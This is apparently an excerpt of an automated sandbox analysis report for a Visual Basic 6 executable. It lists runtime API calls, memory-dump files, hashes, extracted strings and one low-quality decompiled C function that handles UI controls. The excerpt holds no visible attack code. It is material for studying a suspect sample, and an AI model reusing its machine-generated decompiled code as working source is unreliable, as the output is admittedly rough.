__vbaStrCat.MSVBVM60(0040F42C,00000000,?,-00000001,?,?), ref: 0042469C
__vbaStrMove.MSVBVM60(?,-00000001,?,?), ref: 004246A2
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,?,?,?,-00000001,?,?), ref: 004246BE
__vbaStrCat.MSVBVM60(00411B14,?,?,00000001,?,?), ref: 004246DF
__vbaStrMove.MSVBVM60(?,00000001,?,?), ref: 004246EA
__vbaInStr.MSVBVM60(00000000,00000000,?,00000001,?,?), ref: 004246EF
__vbaFreeStr.MSVBVM60(?,00000001,?,?), ref: 00424703
#631.MSVBVM60(?,-00000002,?,00000001,?,00000001,?,?), ref: 0042472C
__vbaStrMove.MSVBVM60(?,-00000002,?,00000001,?,00000001,?,?), ref: 00424737
#537.MSVBVM60(00000022,00000000,?,-00000002,?,00000001,?,00000001,?,?), ref: 0042473C
__vbaStrMove.MSVBVM60(?,-00000002,?,00000001,?,00000001,?,?), ref: 00424747
__vbaInStr.MSVBVM60(00000000,00000000,?,-00000002,?,00000001,?,00000001,?,?), ref: 0042474C
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,-00000002,?,00000001,?,00000001,?,?), ref: 0042475E
__vbaFreeVar.MSVBVM60(00000001,?,?), ref: 0042476A
__vbaMidStmtBstr.MSVBVM60(00000000,?,00000000,-00000001,00420F4F,?,?), ref: 00424779
__vbaFreeStr.MSVBVM60(004247C4,?,?), ref: 004247BC
__vbaFreeStr.MSVBVM60(?,?), ref: 004247C1
__vbaErrorOverflow.MSVBVM60(?,00000001,?,?), ref: 004247D7

Memory Dump Source

Source File: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Move$Free$Copy$#537List$Bstr$#631$#616ErrorOverflowStmt
String ID:
API String ID: 3013909437-0
Opcode ID: 1b50d63d3f28da341f3a8f36a6f4667ce9a3505b347295e2f15f4c79e5da5c8b
Instruction ID: 6fcb04252a0202c2b8f8ca5fd4339ddcf00f1a8ffd7dc002fb0493665977cebf
Opcode Fuzzy Hash: 1b50d63d3f28da341f3a8f36a6f4667ce9a3505b347295e2f15f4c79e5da5c8b
Instruction Fuzzy Hash: 7F812075A00118AFCB04DFA4DD45EEEBBB9EF89700F10412AE906F72A4DB746D05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041E780, Relevance: 51.3, APIs: 34, Instructions: 295COMMON

Download Yara Rule

APIs

__vbaNew2.MSVBVM60(0040B83C,?,00000000,?,72A1A274), ref: 0041E7EA
__vbaObjSetAddref.MSVBVM60(?,00000000,00000000,?,72A1A274), ref: 0041E7F7
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041E825
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000020), ref: 0041E84C
__vbaVarTextCmpNe.MSVBVM60(?,?,?), ref: 0041E85D
__vbaVarVargNofree.MSVBVM60(?,00000000), ref: 0041E870
__vbaVarTextCmpLt.MSVBVM60(?,00000000), ref: 0041E87B
__vbaVarAnd.MSVBVM60(?,00000000), ref: 0041E889
__vbaBoolVarNull.MSVBVM60(00000000), ref: 0041E890
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0041E8A2
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041E8B8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000028), ref: 0041E8DD
__vbaObjSet.MSVBVM60(?,?), ref: 0041E8EE
__vbaNew2.MSVBVM60(0040B83C,?), ref: 0041E90B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,0000001C), ref: 0041E930
__vbaFreeVar.MSVBVM60 ref: 0041E935
__vbaNew2.MSVBVM60(0040B83C,?), ref: 0041E951
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000024), ref: 0041E97D
__vbaFreeVar.MSVBVM60 ref: 0041E988
__vbaNew2.MSVBVM60(0040B83C,?), ref: 0041E99A
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,0000002C), ref: 0041E9BF
__vbaFreeVar.MSVBVM60 ref: 0041E9C4
__vbaObjIs.MSVBVM60(?,00000000), ref: 0041E9CC
__vbaNew2.MSVBVM60(0040B83C,?), ref: 0041E9E7
__vbaObjSetAddref.MSVBVM60(?,?), ref: 0041E9F1
__vbaNew2.MSVBVM60(0040B83C,?), ref: 0041EA0E
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,0000002C), ref: 0041EA32
__vbaFreeVar.MSVBVM60 ref: 0041EA3D
__vbaNew2.MSVBVM60(0040B83C,?), ref: 0041EA4F
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041124C,00000024), ref: 0041EA74
__vbaFreeVar.MSVBVM60 ref: 0041EA79
__vbaFreeObj.MSVBVM60(0041EAD3), ref: 0041EAC6
__vbaFreeObj.MSVBVM60 ref: 0041EACB
__vbaFreeObj.MSVBVM60 ref: 0041EAD0

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$CheckHresult$New2$Addref$Text$BoolListNofreeNullVarg
String ID:
API String ID: 752550406-0
Opcode ID: 1139342c647738dbdab977a375024fb19047a038a2999aba97aa880820713a15
Instruction ID: e98e6f880182b5f5a29ce2df0fb0223a04d9758aa2842847bc1bd9166e2d84a1
Opcode Fuzzy Hash: 1139342c647738dbdab977a375024fb19047a038a2999aba97aa880820713a15
Instruction Fuzzy Hash: 53B12BB5A00219AFDB10DBA5CD85EEEB7B8FF48B00F10411AF505F72A0D778A945CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00422360, Relevance: 50.9, APIs: 28, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__vbaVarTstEq.MSVBVM60(?,?,00001BBC,00000000,0000000C), ref: 004223E0
__vbaStrVarVal.MSVBVM60(?,?,00000001), ref: 004223F9
#618.MSVBVM60(00000000), ref: 00422400
__vbaStrMove.MSVBVM60 ref: 0042240B
#527.MSVBVM60(00000000), ref: 00422412
__vbaVarMove.MSVBVM60 ref: 00422438
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00422444
__vbaVarCat.MSVBVM60(?,?,?), ref: 0042245C
__vbaVarMove.MSVBVM60 ref: 00422467
__vbaLenVar.MSVBVM60(?,?), ref: 00422488
__vbaVarAdd.MSVBVM60(?,00000002,00000000), ref: 0042249D
__vbaVarLateMemSt.MSVBVM60(?,SelStart), ref: 004224C7
__vbaFreeVar.MSVBVM60 ref: 004224D3
__vbaVarCopy.MSVBVM60 ref: 004224F2
__vbaSetSystemError.MSVBVM60(00000000,00000104), ref: 0042250D
__vbaVarCopy.MSVBVM60 ref: 00422524
__vbaVarMove.MSVBVM60 ref: 0042254B
__vbaI4Var.MSVBVM60(?,00422B56,00000000,00000104), ref: 0042255B
__vbaSetSystemError.MSVBVM60(00000000), ref: 00422569
__vbaVarTstEq.MSVBVM60(00008008,?), ref: 00422595
__vbaVarCopy.MSVBVM60 ref: 004225BD
__vbaVarMove.MSVBVM60 ref: 004225DC
__vbaFreeVar.MSVBVM60(00422646), ref: 0042262A
__vbaFreeVar.MSVBVM60 ref: 0042262F
__vbaFreeVar.MSVBVM60 ref: 00422634
__vbaFreeVar.MSVBVM60 ref: 00422639
__vbaFreeVar.MSVBVM60 ref: 0042263E
__vbaFreeVar.MSVBVM60 ref: 00422643

Strings

SelStart, xrefs: 004224AA

Memory Dump Source

Source File: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Move$Copy$ErrorSystem$#527#618LateList
String ID: SelStart
API String ID: 1057817874-2158561977
Opcode ID: 496c829554f2279cb53492a7595390ea13f8adffaf09cafaeb481c82134aa819
Instruction ID: 71a91a91a77c6061a498dc32991692de7b09fed06f21a730561632b8975efec3
Opcode Fuzzy Hash: 496c829554f2279cb53492a7595390ea13f8adffaf09cafaeb481c82134aa819
Instruction Fuzzy Hash: 508118B1C002299FCB64DFA5DE84BEDBBB9FF44304F10819AE409A7260DB745A89CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00419360, Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 317COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(?,?), ref: 004193C6
__vbaSetSystemError.MSVBVM60(?), ref: 004193D3
__vbaFpI4.MSVBVM60 ref: 00419446
__vbaFpI4.MSVBVM60 ref: 0041949B
__vbaI2I4.MSVBVM60 ref: 004194BE
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 004194DD
__vbaI2I4.MSVBVM60(?), ref: 00419501
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000034), ref: 0041953B
__vbaObjSet.MSVBVM60(?,?), ref: 00419550
__vbaI2I4.MSVBVM60 ref: 00419560
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 0041957F
__vbaI2I4.MSVBVM60(?), ref: 004195A8
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000034), ref: 004195DD
__vbaObjSet.MSVBVM60(?,?), ref: 004195F2
__vbaSetSystemError.MSVBVM60(?,?,0000000A,0000000F), ref: 0041962E
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0041963C
__vbaI4Var.MSVBVM60(?,?,?,00000000,00000000,00000003), ref: 00419657
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 00419672
__vbaFreeVar.MSVBVM60 ref: 00419677
__vbaFreeObj.MSVBVM60(004196A2), ref: 0041969B

Strings

eXTEditBox1, xrefs: 00419760

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$ErrorSystem$CheckFreeHresultNew2$CallLate
String ID: eXTEditBox1
API String ID: 3237385300-922357469
Opcode ID: e180f32e81e3e6d767502f67dfbe6c3a4e5c335ffba80cc4171509e319854b3b
Instruction ID: c710e037b903dfe6e1e3dc984430160e750ec2e9efa47df8a5809f75c2f4972f
Opcode Fuzzy Hash: e180f32e81e3e6d767502f67dfbe6c3a4e5c335ffba80cc4171509e319854b3b
Instruction Fuzzy Hash: 2DC16F70A00208EFDB14DFA9D984BDEBBB4FF58300F10806EE545A72A0D779A945CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00421900, Relevance: 47.4, APIs: 24, Strings: 3, Instructions: 175COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,00401D26), ref: 0042191E
__vbaFailedFriend.MSVBVM60(?,?,?,?,00401D26), ref: 0042195C
__vbaOnError.MSVBVM60(000000FF), ref: 00421A32
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411840,00000034), ref: 00421A67
__vbaStrI4.MSVBVM60(00000001,?), ref: 00421A8D
__vbaStrMove.MSVBVM60 ref: 00421A98
__vbaStrCat.MSVBVM60(00000000), ref: 00421A9F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00411580,0000001C), ref: 00421ADD
__vbaCastObjVar.MSVBVM60(?,004113E8), ref: 00421AFE
__vbaObjSet.MSVBVM60(?,00000000), ref: 00421B09
__vbaFreeStr.MSVBVM60 ref: 00421B12
__vbaFreeObj.MSVBVM60 ref: 00421B1B

Strings

poly_, xrefs: 004219E2
circ_, xrefs: 004219B4
rect_, xrefs: 004219CB

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckFreeHresult$CastChkstkErrorFailedFriendMove
String ID: circ_$poly_$rect_
API String ID: 3373357413-2379982697
Opcode ID: 9dcd251e9e368f8c6c461c7d85bc313f304b735d2f2cec1fe12a740e098b7f12
Instruction ID: 43e21aa390423ac4bb5be4ef763bcdf32f7e6bd7be1f21c6f9aae0b9eacb4217
Opcode Fuzzy Hash: 9dcd251e9e368f8c6c461c7d85bc313f304b735d2f2cec1fe12a740e098b7f12
Instruction Fuzzy Hash: B7813EB0900218EFDB04DFA4DA58BDEBBB5FF18304F208159E506BB2A0DB785A85DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00422F70, Relevance: 47.3, APIs: 17, Strings: 10, Instructions: 98COMMON

Download Yara Rule

APIs

__vbaAryConstruct2.MSVBVM60(?,00411AC8,00000008,00001C20,00000000,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 00422FAC
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00422FC0
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00422FCD
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00422FDA
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00422FE7
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00422FF4
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00423001
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 0042300E
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 0042301B
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00423028
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00423035
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00423042
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 0042305C
__vbaStrCat.MSVBVM60(?,004117A4,?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 0042306E
__vbaStrMove.MSVBVM60(?,004117A4,?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 00423079
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 0042308F
__vbaAryDestruct.MSVBVM60(00000000,?,004230B5,?,?,?,?,?,?,?,?,?,00000000,00401D26,00422B93), ref: 004230AE

Strings

Five, xrefs: 00422FEC
One, xrefs: 00422FBB
Seven, xrefs: 00423006
Three, xrefs: 00422FD2
Ten, xrefs: 0042302D
Nine, xrefs: 00423020
Four, xrefs: 00422FDF
Two, xrefs: 00422FC5
Eight, xrefs: 00423013
Six, xrefs: 00422FF9

Memory Dump Source

Source File: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Copy$BoundsConstruct2DestructErrorGenerateMove
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 4063757251-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 1826c31338c8c831fd2ed301a4fe05264573cbf1db843c12b00fde34302af9b6
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 4B313C38E511289BCB04DB98DD80AED7BB5FF4C341B50802BD50277764DB789946CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00418AA0, Relevance: 43.9, APIs: 22, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418AEF
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418AF7
__vbaStrI4.MSVBVM60(00000003,?), ref: 00418B05
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418B0C
__vbaStrCmp.MSVBVM60(00000000), ref: 00418B13
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418B25
__vbaStrI4.MSVBVM60(00000000,?), ref: 00418B3A
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418B41
__vbaStrCmp.MSVBVM60(00000000), ref: 00418B48
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418B5A
__vbaStrI4.MSVBVM60(00000002,?), ref: 00418B6B
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418B72
__vbaStrCmp.MSVBVM60(00000000), ref: 00418B79
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418B8B
__vbaStrI4.MSVBVM60(00000001,?), ref: 00418BA3
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418BAA
__vbaStrCmp.MSVBVM60(00000000), ref: 00418BB1
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418BC3
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00401D26), ref: 00418BDB
__vbaHresultCheckObj.MSVBVM60(00000000,004015B8,0040F430,00000390), ref: 00418C1C
__vbaFreeStr.MSVBVM60(00418C4E), ref: 00418C46
__vbaFreeStr.MSVBVM60 ref: 00418C4B

Strings

ValidChar, xrefs: 00418BED
0123456789, xrefs: 00418BCE
/0123456789, xrefs: 00418B96

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Move$Copy$CheckHresult
String ID: /0123456789$0123456789$ValidChar
API String ID: 3800803223-993360373
Opcode ID: 9936c4295f3419fa864d2406dec159a3d5d469b04311b958ada0c159a0da03f4
Instruction ID: ce00569a0c4faf28ac5614b842da919fe116b62d6e28782c747920d2cd8abf0a
Opcode Fuzzy Hash: 9936c4295f3419fa864d2406dec159a3d5d469b04311b958ada0c159a0da03f4
Instruction Fuzzy Hash: 6C414171D001259BCB149FA4DD44AEEBBB8FB48700F10822EE556F72A0DB746D42CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00418DC0, Relevance: 42.3, APIs: 28, Instructions: 336COMMON

Download Yara Rule

APIs

__vbaRaiseEvent.MSVBVM60(?,0000000A,00000000), ref: 00418E6F

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: EventRaise__vba
String ID:
API String ID: 143519346-0
Opcode ID: 2f008d390904a31820b99e5045e0684bdfc6e2f20ee1861404945bbf347468bb
Instruction ID: 7a7282b61c914d32d5a03fe8842630005b0ca5540c49441401ae5e2d8f5a45ae
Opcode Fuzzy Hash: 2f008d390904a31820b99e5045e0684bdfc6e2f20ee1861404945bbf347468bb
Instruction Fuzzy Hash: 9BE15A70D00209AFCB14DFA8D949AEEBBB4FF48300F14856AE545AB350DB74AD85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00417230, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00417230(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v48;
				char _v56;
				char _v60;
				intOrPtr* _v80;
				short _t63;
				void* _t66;
				signed int _t67;
				intOrPtr* _t68;
				signed int _t70;
				signed int _t71;
				void* _t73;
				signed int _t76;
				signed int _t77;
				intOrPtr* _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				intOrPtr* _t91;
				signed char _t95;
				signed int _t97;
				intOrPtr* _t101;
				char* _t116;
				intOrPtr _t129;
				intOrPtr* _t132;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t136;
				intOrPtr* _t137;
				intOrPtr* _t138;
				intOrPtr* _t140;
				void* _t141;
				void* _t143;
				intOrPtr _t144;
				intOrPtr _t145;
				intOrPtr* _t146;
				intOrPtr _t151;

				_t144 = _t143 - 0xc;
				 *[fs:0x0] = _t144;
				_t145 = _t144 - 0x48;
				_v16 = _t145;
				_v12 = 0x401438;
				_v8 = 0;
				_t140 = _a4;
				_t63 =  *((intOrPtr*)( *_t140 + 4))(_t140, __edi, __esi, __ebx,  *[fs:0x0], 0x401d26, _t141);
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				_v56 = 0;
				_v60 = 0;
				__imp____vbaI2I4();
				_t146 = _t145 - 0x10;
				_t132 = _t146;
				 *((short*)(_t140 + 0x42)) = _t63;
				 *_t132 = 8;
				 *((intOrPtr*)(_t132 + 4)) = _v48;
				 *(_t132 + 8) = L"ButtonStyle";
				 *((intOrPtr*)(_t132 + 0xc)) = _v40;
				_t66 =  *((intOrPtr*)( *_t140 + 0x390))(_t140);
				asm("fclex");
				if(_t66 < 0) {
					__imp____vbaHresultCheckObj(__eax, __esi, 0x40f430, 0x390);
				}
				_t67 = _a8;
				__eflags = _t67;
				if(__eflags == 0) {
					_t68 =  *((intOrPtr*)( *_t140 + 0x3ac))(_t140);
					__imp____vbaObjSet( &_v28, _t68);
					_t133 = _t68;
					_t70 =  *((intOrPtr*)( *_t133 + 0x9c))(_t133, 0);
					__eflags = _t70;
					asm("fclex");
					if(_t70 < 0) {
						__imp____vbaHresultCheckObj(_t70, _t133, 0x410414, 0x9c);
					}
					__imp____vbaFreeObj();
					_t58 = _t140 + 0x74; // 0x417ca1
					E0040FB74();
					__imp____vbaSetSystemError( *_t58);
					_t71 =  *((intOrPtr*)( *_t140 + 0x8c8))(_t140);
					__eflags = _t71;
					if(_t71 < 0) {
						__imp____vbaHresultCheckObj(_t71, _t140, 0x40f460, 0x8c8);
					}
					goto L26;
				} else {
					if(__eflags <= 0) {
						L27:
						asm("wait");
						_push(0x417511);
						return _t67;
					}
					__eflags = _t67 - 2;
					if(_t67 > 2) {
						goto L27;
					}
					_t73 =  *((intOrPtr*)( *_t140 + 0x3ac))(_t140);
					_t101 = __imp____vbaObjSet;
					_t134 =  *_t101( &_v28, _t73);
					_t76 =  *((intOrPtr*)( *_t134 + 0x9c))(_t134, 0xffffffff);
					__eflags = _t76;
					asm("fclex");
					if(_t76 < 0) {
						__imp____vbaHresultCheckObj(_t76, _t134, 0x410414, 0x9c);
					}
					__imp____vbaFreeObj();
					_t77 =  *((intOrPtr*)( *_t140 + 0x8c8))(_t140);
					__eflags = _t77;
					if(_t77 < 0) {
						__imp____vbaHresultCheckObj(_t77, _t140, 0x40f460, 0x8c8);
					}
					_t135 =  *_t101( &_v28,  *((intOrPtr*)( *_t140 + 0x3ac))(_t140));
					_t27 = _t140 + 0x10; // 0x80001
					_t81 =  *_t27;
					_t82 =  *((intOrPtr*)( *_t81 + 0x88))(_t81,  &_v56);
					__eflags = _t82;
					asm("fclex");
					if(_t82 < 0) {
						_t30 = _t140 + 0x10; // 0x80001
						__imp____vbaHresultCheckObj(_t82,  *_t30, 0x40f430, 0x88);
					}
					_t84 =  *((intOrPtr*)( *_t135 + 0x8c))(_t135, _v56);
					__eflags = _t84;
					asm("fclex");
					if(_t84 < 0) {
						__imp____vbaHresultCheckObj(_t84, _t135, 0x410414, 0x8c);
					}
					__imp____vbaFreeObj();
					_t136 =  *_t101( &_v32,  *((intOrPtr*)( *_t140 + 0x3b0))(_t140));
					_t88 =  *((intOrPtr*)( *_t136 + 0x80))(_t136,  &_v60);
					__eflags = _t88;
					asm("fclex");
					if(_t88 < 0) {
						__imp____vbaHresultCheckObj(_t88, _t136, 0x410414, 0x80);
					}
					_t91 =  *_t101( &_v36,  *((intOrPtr*)( *_t140 + 0x3ac))(_t140));
					_v80 = _t91;
					_t137 =  *_t101( &_v28,  *((intOrPtr*)( *_t140 + 0x3b0))(_t140));
					_t116 =  &_v56;
					_t95 =  *((intOrPtr*)( *_t137 + 0x70))(_t137, _t116);
					__eflags = _t95;
					asm("fclex");
					if(_t95 < 0) {
						__imp____vbaHresultCheckObj(_t95, _t137, 0x410414, 0x70);
					}
					_t138 = _v80;
					_push(_t116);
					_t129 =  *_t138;
					_t151 = _v60 + _v56 +  *0x401430;
					asm("fnstsw ax");
					__eflags = _t95 & 0x0000000d;
					if((_t95 & 0x0000000d) != 0) {
						goto L1;
					} else {
						 *_t146 = _t151;
						_t97 =  *((intOrPtr*)(_t129 + 0x74))(_t138);
						__eflags = _t97;
						asm("fclex");
						if(_t97 < 0) {
							__imp____vbaHresultCheckObj(_t97, _t138, 0x410414, 0x74);
						}
						__imp____vbaFreeObjList(3,  &_v28,  &_v32,  &_v36);
						L26:
						_t67 =  *((intOrPtr*)( *_t140 + 0x8a4))(_t140);
						goto L27;
					}
				}
				L1:
				return __imp____vbaFPException();
			}

0x00417233
0x00417242
0x00417249
0x0041724f
0x00417252
0x0041725b
0x0041725e
0x00417264
0x0041726a
0x0041726d
0x00417270
0x00417273
0x00417276
0x00417279
0x0041727f
0x00417287
0x0041728b
0x00417294
0x0041729a
0x0041729d
0x004172a3
0x004172a6
0x004172ae
0x004172b0
0x004172be
0x004172be
0x004172c4
0x004172c7
0x004172c9
0x0041747b
0x00417486
0x0041748c
0x00417492
0x00417498
0x0041749a
0x0041749c
0x004174aa
0x004174aa
0x004174b3
